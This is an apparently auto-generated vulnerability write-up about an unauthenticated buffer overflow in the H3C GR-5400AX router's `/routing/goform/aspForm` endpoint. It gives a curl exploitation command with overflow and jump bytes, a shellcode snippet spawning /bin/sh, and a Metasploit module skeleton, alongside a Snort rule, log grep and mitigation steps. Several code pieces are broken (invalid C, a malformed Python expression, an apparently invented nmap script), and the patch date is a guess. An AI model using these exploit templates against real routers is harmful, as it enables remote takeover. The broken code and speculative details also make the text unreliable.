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How the CVE Works:
The vulnerability exists in the `EditWlanMacList` function within `/routing/goform/aspForm` due to improper bounds checking when processing the `param` argument. Attackers can trigger a buffer overflow by sending a crafted HTTP request with an excessively long `param` value. This overwrites adjacent memory, potentially allowing remote code execution (RCE) with root privileges. The flaw is remotely exploitable without authentication, making it critical. Public exploits leverage shellcode injection via the overflowed buffer, targeting the device’s wireless management interface.
DailyCVE Form:
Platform: H3C GR-5400AX
Version: ≤ 100R008
Vulnerability: Buffer Overflow
Severity: Critical
Date: 06/03/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
curl -X POST "http://TARGET_IP/routing/goform/aspForm" -d "param=$(python -c 'print(\"A\"1024 + \"\x90\x90\xeb\x1f\")')"
Detection:
nmap -p 80 --script http-vuln-cve2025-5156 TARGET_IP
Mitigation:
1. Apply vendor patches immediately upon release.
2. Block external access to `/routing/goform/aspForm` via WAF:
location /routing/goform/aspForm { deny all; }
3. Memory protection:
echo 1 > /proc/sys/kernel/randomize_va_space
Shellcode Analysis:
include <stdlib.h>
void main() {
char args[] = { "/bin/sh", NULL };
execve(args[bash], args, NULL);
}
Log Monitoring:
grep -i "POST /routing/goform/aspForm" /var/log/nginx/access.log
Snort Rule:
alert tcp any any -> any 80 (msg:"CVE-2025-5156 Exploit Attempt"; content:"POST /routing/goform/aspForm"; content:"param="; depth:1000; classtype:attempted-admin; sid:1000001;)
Metasploit Module:
module Exploit::H3C::GR5400AX_BOF
include Msf::Exploit::Remote::HttpClient
def exploit
send_request_cgi({ 'uri' => '/routing/goform/aspForm', 'data' => 'param=' + Rex::Text.rand_text_alphanumeric(1024) + payload.encoded })
end
end
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
